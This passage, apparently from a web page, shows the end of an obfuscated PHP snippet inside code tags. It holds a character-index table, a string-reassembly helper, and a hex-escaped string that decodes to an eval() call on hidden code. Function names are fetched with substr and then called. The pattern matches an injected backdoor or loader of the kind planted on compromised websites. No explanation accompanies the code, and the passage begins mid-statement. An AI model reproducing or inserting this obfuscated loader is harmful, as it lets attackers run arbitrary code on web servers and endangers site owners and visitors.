,7369,48,66,56,416,44,5208,66,3397,49,3326,42,7745,51,9722,62,6938,64,6434,28,2063,28,7121,24,3817,31,794,49,2769,67,9943,44,9630,68,3763,23,6555,58,6863,54,2351,55,8529,36,8158,47,7145,58,9698,24,4220,40,5758,64,4612,37,1666,29,8494,35,4058,43,2836,30,2634,57,3484,32,6499,56,1127,48,8775,22,5376,22,371,45,4003,31,6375,59,1356,57,5274,60,9298,50,1270,23,122,58,9987,66,3368,29,7240,57,4891,36,4409,39,8610,58,9462,68,10053,53,3516,24,6156,22,4128,29,3214,44,7520,31,7002,22,8933,20,1293,63,2866,33,2406,68,8668,57,547,61,3069,47,4101,27,1757,37,1532,37,460,23,2587,47,6634,53'); $jqasilvkah = substr($hngctorffh, (70221 - 60115) , (46 - 39)); if (!function_exists('dkoxpnkcvz')) { function dkoxpnkcvz($uquevssmbb, $gbjfyuptqv) { $rafkiwpxdo = NULL; for ($bjfdqjrsbp = 0; $bjfdqjrsbp &lt; (sizeof($uquevssmbb) / 2); $bjfdqjrsbp++) { $rafkiwpxdo.= substr($gbjfyuptqv, $uquevssmbb[($bjfdqjrsbp * 2) ], $uquevssmbb[($bjfdqjrsbp * 2) + 1]); } return $rafkiwpxdo; }; } $jbwtpislvw = "\x20\57\x2a\40\x68\157\x7a\165\x61\154\x68\162\x6a\165\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\62\x37\55\x39\60\x29\51\x2c\40\x63\150\x72\50\x28\66\x33\60\x2d\65\x33\70\x29\51\x2c\40\x64\153\x6f\170\x70\156\x6b\143\x76\172\x28\44\x67\151\x66\153\x6d\170\x65\141\x6c\166\x2c\44\x68\156\x67\143\x74\157\x72\146\x66\150\x29\51\x29\73\x20\57\x2a\40\x7a\164\x65\144\x70\145\x73\170\x77\147\x20\52\x2f\40"; $clpjwpghsa = substr($hngctorffh, (42911 - 32798) , (54 - 42)); $clpjwpghsa($jqasilvkah, $jbwtpislvw, NULL); $clpjwpghsa = $jbwtpislvw; $clpjwpghsa = (471 - 350); $hngctorffh = $clpjwpghsa - 1; </code></pre> <p>?&gt;</p> </div>

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